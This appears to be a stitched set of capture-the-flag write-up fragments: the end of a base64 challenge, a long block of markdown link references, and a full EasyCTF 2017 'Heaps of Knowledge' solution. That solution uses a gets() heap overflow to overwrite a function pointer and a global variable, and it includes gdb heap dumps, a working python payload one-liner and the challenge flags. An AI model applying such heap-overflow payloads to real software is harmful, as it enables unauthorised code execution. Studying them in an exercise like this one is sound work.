Maybe that came from another random string, or whatever. But I tried to remove that 'U' and decode again...
``` python>>> base64.b64decode('QklUQ1RGe1M1IDAwMTQrODF9')'BITCTF{S5 0014+81}'```
Aha! __Win.__
__The flag was: `BITCTF{S5 0014+81}`__
[netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[man pages]: https://en.wikipedia.org/wiki/Man_page[man]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[port]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[ports]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[redirect]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piped]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[brute-force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[scripts]: https://en.wikipedia.org/wiki/Scripting_language[script]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[automation is divine]: https://www.youtube.com/watch?v=36AA3JGRP9s[repos]:https://help.ubuntu.com/community/Repositories/Ubuntu[repo]:https://help.ubuntu.com/community/Repositories/Ubuntu[repository]:https://help.ubuntu.com/community/Repositories/Ubuntu[repositories]: https://help.ubuntu.com/community/Repositories/Ubuntu[hex dump]: https://en.wikipedia.org/wiki/Hex_dump[hexdump]: https://en.wikipedia.org/wiki/Hex_dump[xxd]: http://linuxcommand.org/man_pages/xxd1.html[mkdir]: https://en.wikipedia.org/wiki/Mkdir[file]: https://en.wikipedia.org/wiki/File_%28command%29[gzip]: http://www.gzip.org/[file extension]: https://en.wikipedia.org/wiki/Filename_extension[bzip]: http://www.bzip.org/[bzip2]: http://www.bzip.org/[tar]: https://en.wikipedia.org/wiki/Tar_%28computing%29[tar command]: http://linuxcommand.org/man_pages/tar1.html[private key]: https://help.ubuntu.com/community/SSH/OpenSSH/Keys[s_client]: https://www.openssl.org/docs/manmaster/apps/s_client.html[nmap]: https://nmap.org/[IP address]: https://en.wikipedia.org/wiki/IP_address[RSA]: https://en.wikipedia.org/wiki/RSA_(cryptosystem)[ssh private key]: https://help.ubuntu.com/community/SSH/OpenSSH/Keys[file permissions]: https://www.linux.com/learn/understanding-linux-file-permissions[octal file permission]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[octal file permissions]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[chmod]: https://en.wikipedia.org/wiki/Chmod[diff]: http://man7.org/linux/man-pages/man1/diff.1.html[.bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[setuid]: https://en.wikipedia.org/wiki/Setuid[user id]: https://en.wikipedia.org/wiki/User_identifier[effective user id]: https://en.wikipedia.org/wiki/User_identifier#Effective_user_ID[cron]: https://en.wikipedia.org/wiki/Cron[file extension]: https://en.wikipedia.org/wiki/Filename_extension[file extensions]: https://en.wikipedia.org/wiki/Filename_extension[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash scripts]: https://linuxconfig.org/bash-scripting-tutorial[shebang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[she-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[shabang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[nano]: https://en.wikipedia.org/wiki/GNU_nano[text editor]: https://en.wikipedia.org/wiki/Text_editor[whoami]: https://en.wikipedia.org/wiki/Whoami[echo]: https://en.wikipedia.org/wiki/Echo_(command)[md5sum]: http://www.tutorialspoint.com/unix_commands/md5sum.htm[checksum]: https://en.wikipedia.org/wiki/Checksum[hash]: https://en.wikipedia.org/wiki/Cryptographic_hash_function[cut]: https://en.wikipedia.org/wiki/Cut_(Unix)[daemon]: https://en.wikipedia.org/wiki/Daemon_(computing)[temporary directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp folder]: https://en.wikipedia.org/wiki/Temporary_folder[temporary folder]: https://en.wikipedia.org/wiki/Temporary_folder[seq]: http://www.cyberciti.biz/tips/tag/seq-command[/etc/passwd]: https://en.wikipedia.org/wiki/Passwd#Password_file[more]: https://en.wikipedia.org/wiki/More_(command)[vi]: https://en.wikipedia.org/wiki/Vi[vim]: http://www.vim.org/[caesar cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[vignere cipher]: https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher[substitution cipher]: https://en.wikipedia.org/wiki/Substitution_cipher[DNA]: https://en.wikipedia.org/wiki/Nucleic_acid_sequence[Python bytecode]: http://security.coverity.com/blog/2014/Nov/understanding-python-bytecode.html[uncompyle]: https://github.com/gstarnberger/uncompyle[Easy Python Decompiler]: https://github.com/aliansi/Easy-Python-Decompiler-v1.3.2[marshal]: https://docs.python.org/2/library/marshal.html[IDLE]: https://en.wikipedia.org/wiki/IDLE[bytecode]: http://whatis.techtarget.com/definition/bytecode[dis]: https://docs.python.org/2/library/dis.html[rot13]: https://en.wikipedia.org/wiki/ROT13[calendar]: https://docs.python.org/2/library/calendar.html[datetime]: https://docs.python.org/2/library/datetime.html[primefac]: https://pypi.python.org/pypi/primefac[re]: https://docs.python.org/2/library/re.html[IDA pro]: https://www.hex-rays.com/products/ida/[IDA]: https://www.hex-rays.com/products/ida/[QR Code]: https://en.wikipedia.org/wiki/QR_code[RGB]: https://en.wikipedia.org/wiki/RGB_color_model[RGB color]: https://en.wikipedia.org/wiki/RGB_color_model[exiftool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[robots.txt]: http://www.robotstxt.org/[XSS]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross-site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cookie catcher]: http://hackwithstyle.blogspot.com/2011/11/what-is-cookie-catcher-and-how-to-get.html[johnhammond.org]: http://johnhammond.org[HTTP cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP GET]: http://www.w3schools.com/Tags/ref_httpmethods.asp[tee]: https://en.wikipedia.org/wiki/Tee_(command)[reverse engineering]: https://en.wikipedia.org/wiki/Reverse_engineering[cryptography]: https://en.wikipedia.org/wiki/Cryptography[crypto]: https://en.wikipedia.org/wiki/Cryptography[sed]: https://en.wikipedia.org/wiki/Sed[padding]: https://en.wikipedia.org/wiki/Padding_(cryptography)[xortool]: https://github.com/hellman/xortool[XOR Cracker]: https://wiremask.eu/tools/xor-cracker/ |
# Heaps of Knowledge - 420 Points
Can you pwn this? Navigate to /problems/heaps_of_knowledge/ on the shell server and read flag.txt.
[Binary](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/heaps_of_knowledge/heaps_of_knowledge?raw=true)
### Solution
###### Writeup by VoidMercy from phsst
We were given a binary. We run it to see what it does.It prompts you for a book name, then there are three options:
```Please enter the title of the book you would like to write: AAAAYou have started writing the book 'AAAA'. Please select an option to get started!1. Edit chapter2. Delete chapter3. Publish book```
After experimenting with this program, you find out that you can only create a chapter starting from 1, 2, 3 and so on. Also you can only delete an existing chapter otherwise the program will exit. Then, publish prints the title, and the content of each chapter. Then, if you edit an existing chapter, it changes it's content.
Because this problem is called Heaps of Knowledge, we can be fairly certain this will be a heap exploit.We can run this in gdb, enter a random book title, let's say "AAAA" then view our heap using:
>info proc mappings
```(gdb) x/50wx 0x804c0000x804c000: 0x00000000 0x00000011 0x0804c018 0x000000000x804c010: 0x00000000 0x00000011 0x41414141 0x000000000x804c020: 0x00000000 0x00020fe1 0x00000000 0x000000000x804c030: 0x00000000 0x00000000 0x00000000 0x00000000```
We can see that the first section consists of an address to the actual title of the book, contained in another section. Let's do the same after adding a couple of chapters. Let's set chapter 1's name to BBBB, and it's content to CCCC while chapter 2's name to DDDD and it's content to EEEE
```0x804c000: 0x00000000 0x00000011 0x0804c018 0x000000020x804c010: 0x0804c028 0x00000011 0x41414141 0x000000000x804c020: 0x00000000 0x00000019 0x00000000 0x0804c0600x804c030: 0x0804c040 0x0804c050 0x0804872f 0x000000110x804c040: 0x42424242 0x0000000a 0x00000000 0x000000110x804c050: 0x43434343 0x0000000a 0x00000000 0x000000190x804c060: 0x0804c028 0x00000000 0x0804c078 0x0804c0880x804c070: 0x0804872f 0x00000011 0x44444444 0x0000000a0x804c080: 0x00000000 0x00000011 0x45454545 0x0000000a0x804c090: 0x00000000 0x00020f71 0x00000000 0x00000000```
We can see that this is very similar in structure. The section containing addresses for chapters, however, contains three addresses: the chapter's name, chapter's content, and huh? what is the last one? We can quickly view it using
>x 0x0804872f
```0x804872f <print_chapter>: 0x83e58955```
We see that this is an address pointing to the function to print this chapter. From this knowledge, we can surmise that the edit chapter edits content at the chapter's content's address (for chapter 1 in this case, it is 0x0804c050). Then the publish function most likely calls the function at the print chapter address stored on the heap. (for chapter 1 it is 0x0804872f).
Next, we look into the disassembly of the binary. I used IDA to disassemble this binary.
It uses gets() to get the content of the chapter text! This means we can overflow the heap because gets does not check the length of the string you give it. Using this, we can pretty much construct the heap to whatever we want it to look like.We then see a give_flag function so we look into it. It reads the flag file and prints it's contents. However, there's a catch
success needs to be set to 0x13371337 in order for the flag file to be read. And we see that success is set to just 0x1337 in default. However, we can use the edit chapter content function of the program to change the address of chapter content and write to that address. Then if we set the address of print chapter to give_flag, publishing the book should give us our flag.
I used gdb to get the address of give_flag, and IDA for success:
>p give_flag
```$2 = {<text variable, no debug info>} 0x804879a <give_flag>```
and success = 0x0804b054
Now I used gdb to create two chapters, and manually edit the heap to what I want it to look like using:
>set {int}address=value
Here is the state of the heap:
```0x804c000: 0x00000000 0x00000011 0x0804c018 0x000000020x804c010: 0x0804c028 0x00000011 0x41414141 0x424242420x804c020: 0x00000000 0x00000019 0x00000000 0x0804c0600x804c030: 0x0804c040 0x0804c050 0x0804879a <give_flag> 0x000000110x804c040: 0x43434343 0x0000000a 0x00000000 0x000000110x804c050: 0x44444444 0x0000000a 0x00000000 0x000000190x804c060: 0x0804c028 0x00000000 0x0804c078 0x0804b054 <success>0x804c070: 0x0804872f 0x00000011 0x45454545 0x0000000a0x804c080: 0x00000000 0x00000011 0x46464646 0x0000000a0x804c090: 0x00000000 0x00020f71 0x00000000 0x000000000x804c0a0: 0x00000000 0x00000000 0x00000000 0x000000000x804c0b0: 0x00000000 0x00000000 0x00000000 0x000000000x804c0c0: 0x00000000 0x00000000 0x00000000 0x000000000x804c0d0: 0x00000000 0x00000000 0x00000000 0x000000000x804c0e0: 0x00000000 0x00000000 0x00000000 0x000000000x804c0f0: 0x00000000 0x00000000 0x00000000 0x000000000x804c100: 0x00000000 0x00000000 0x00000000 0x000000000x804c110: 0x00000000 0x00000000```
Then after editing the contents of chapter 2 to 0x13371337 and publishing, the contents of flag.txt was successfully printed.
Now we know the requirements for the exploit:1) Change address of chapter content to address of success2) Edit that chapter's content to 0x133713373) Change address of print chapter to address of give_flag4) Publish
Now, we just have to construct an exploit.
I decided to create 2 chapters and overflow the second chapter's addresses through the first chapter's content.
The key input order will be:
AAAA
1
1
BBBB
CCCC
1
2
DDDD
EEEE
1
1
"C" * 24 + 0x804c078 + 0x0804b054 + 0x804879a
1
2
0x13371337
3
I printed the non printable ascii characters with python and piped the input into the binary
python -c "print 'AAAA\n1\n1\nBBBB\nCCCC\n1\n2\nDDDD\nEEEE\n1\n1\n' + 'C'*24 + '\x78\xc0\x04\x08' + '\x54\xb0\x04\x08' + '\x9a\x87\x04\x08\n' + '1\n2\n' + '\x37\x13\x37\x13\n' + '3\n'" | ./heaps_of_knowledge
## Flag
>easyctf{4r3nT_u_hav1ng_h34pz_0f_Fun?} |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-hash-on-hash.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-hash-on-hash.md) |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-ogrewatch.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-ogrewatch.md) |
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